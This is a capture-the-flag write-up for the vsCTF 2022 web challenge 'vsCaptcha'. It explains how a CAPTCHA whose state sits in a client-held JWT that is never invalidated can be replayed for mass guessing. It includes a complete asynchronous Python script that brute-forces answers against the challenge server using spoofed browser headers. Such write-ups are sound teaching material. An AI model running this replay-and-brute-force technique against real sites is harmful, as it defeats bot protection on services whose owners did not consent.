ʕ·ᴥ·ʔ






vsCaptcha

07/10/2022

By: smashmaster

Tags: web VSCTF-2022

Problem Description:

vsCAPTCHA: the ultimate solution to protect your site from 100% of bots, guaranteed!

Hints:

Reveal Hints Replay mod is a cool thing.

Unlike standard applications the header x-captcha-state is used to hold a jwt of the current CAPTCHA state. Now, the website kind of screws up and makes the user keep the state. How can we abuse this? Notice the captcha generation only has a range of a 9 numbers (random number from 0 to 2 plus 0 to 7). The app relies too much on the client to reset the captcha. It doesn’t invalidate the JWT itself so within our limited time period we can make other guesses reusing the same JWT. Here’s a flowchart of the attack

Beautiful! Here's my ugly solve script though.
# poggers
# dependencies: aiohttp and pyjwt (because I was too lazy to write jwt decoder from scratch python base64 complained about padding)
import subprocess

def display_image(path):
    # we love eye of gnome! replace as needed tho
    subprocess.call(['eog', path])

import base64


import jwt

def decode_jwt(token):
    #print("JWT",jwt)
    #return base64.b64decode(token.split(".")[1]).decode('utf-8')
    # I gave up on the above
    if token is None:
        return None
    try:
        return jwt.decode(token, options={"verify_signature": False, "verify_exp": False})
    except Exception as ex:
        return jwt.decode(token.encode(), options={"verify_signature": False, "verify_exp": False})

import aiohttp
import asyncio
import time

# GLOBAL!
ourJWT = ""

async def get_captcha(solution = None, download = False, verbose = False, session = None):
    global ourJWT # smh idk how python scope works
    
    datastr = "{}"
    if solution:
        datastr = "{\"solution\":%d}" % solution # Solution is int
    headers = {
        'authority': 'vscaptcha-twekqonvua-uc.a.run.app',
        'accept': '*/*',
        'accept-language': 'en-US,en;q=0.9',
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",# "Hacker/2022.0 Edition"
        "origin": "https://vscaptcha-twekqonvua-uc.a.run.app",
        "referer": "https://vscaptcha-twekqonvua-uc.a.run.app",
        "host": "vscaptcha-twekqonvua-uc.a.run.app",
        'sec-ch-ua': '".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Linux"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-origin',
        "x-captcha-state": ourJWT or ""
    }
    if not ourJWT:
        del headers["x-captcha-state"]
    #if len(ourJWT) > 0:
    #    # print("...", end = "")
    #    headers["x-captcha-state"] = ourJWT

    while True:
        # for burp: ,ssl = False, proxy="http://127.0.0.1:8133"
        async with session.post('https://vscaptcha-twekqonvua-uc.a.run.app/captcha',data = datastr, headers = headers ) as response:
            if verbose:
                print("Requested Captcha with data",datastr,"answered back with code", response.status, await response.read())
            if response.status != 401 and response.status != 200 and response.status != 400:
                print("Unknown Status:",response.status,"retrying!","datastr",datastr)
                time.sleep(0.1)
                continue
            if download:
                print("Writing CAPTCHA to File")
                f = open("image.png","wb")
                f.write(await response.read())
                f.close()
            # print(ourJWT)
            if not response.headers.get("x-captcha-state"):
                print("No JWT! ", await response.read(), " status ", response.status)
            return response.headers.get("x-captcha-state")

RANGE = 25
LOOP = 5 # all at once lmao

import pprint

def gen(iSol):
    out = [iSol]
    for i in range(1, RANGE + 1, 1):
        out.append(iSol + i)
        out.append(iSol - i)
    return out

async def brute_captcha(initialSolution, session = None):
    global ourJWT
    
    fromInt = initialSolution - RANGE
    toInt = initialSolution + RANGE

    lastSolution = initialSolution

    while True:
        attempts = []
        results = []
        #old = range(fromInt, toInt + 1,1)
        for i in gen(initialSolution):
            attempts.append(get_captcha(i, verbose = False, session = session))
            if i % LOOP == 0:
                results = results + await asyncio.gather(*attempts)
                attempts = []
                if any(token and not decode_jwt(token)["failed"] for token in filter(lambda x: isinstance(x, str), results)):
                    break # early end
        results = results + (await asyncio.gather(*attempts)) # jwt string list
        print() # end ... spam
        # print(results)
        results = list(filter(lambda x: isinstance(x, str), results))
        outcomes = [decode_jwt(token) for token in results] # decoded
        bestAdvancement = -1
        for pair in zip(results,outcomes):
            print(pair[1]["numCaptchasSolved"]," solved ",pair[0][-50:-10])
            if pair[1]["numCaptchasSolved"] > bestAdvancement:
                bestAdvancement = pair[1]["numCaptchasSolved"]
                ourJWT = pair[0]
        pprint.pprint(list(zip(results,outcomes)))
        print("Best Advancement:",bestAdvancement,"JWT",ourJWT)
        bestData = decode_jwt(ourJWT)
        if "flag" in bestData:
            print("Flag:",bestData["flag"])
            break
    

async def main():
    global ourJWT

    async with aiohttp.ClientSession() as session:
        # Initial Captcha
        print("Initial Captcha Solving...")
        print("Please enter answer for this")
        ourJWT = await get_captcha(download = True, session = session)
        print("Initial JWT Contents", decode_jwt(ourJWT))
        startTime = time.time()
        display_image("image.png")
        
        ans = int(input("Number Please > "))
        print("That took %.2f seconds" % (time.time() - startTime))
        print("Verifying your CAPTCHA is correct")
        otherJWT = await get_captcha(ans,verbose = True,session = session)
        decodedOther = decode_jwt(otherJWT)
        print(decodedOther)
        if decodedOther and decodedOther["numCaptchasSolved"]:
            print("CAPTCHA is correct!!! Proceeding to brute force...")
            ourJWT = otherJWT # less likely to expire
        else:
            print("Oof that was wrong")
            print("Debug Data")
            print("Raw JWT: ",ourJWT)
            print("Raw JWT used for testing: ",otherJWT)
            print("Decoded JWT: ",decodedOther)
            return
        await brute_captcha(ans,session = session)

asyncio.run(main())

Unfortunately this has a dependency on the gnome image viewer it pops up at the start to show you the image. Make sure to point at some other image viewer that takes the image to be viewed as a command line argument if you are considering using this. Make sure to close your imageviewer after you get your captcha answer due to how this is designed. Based off testing, this almost never works first try.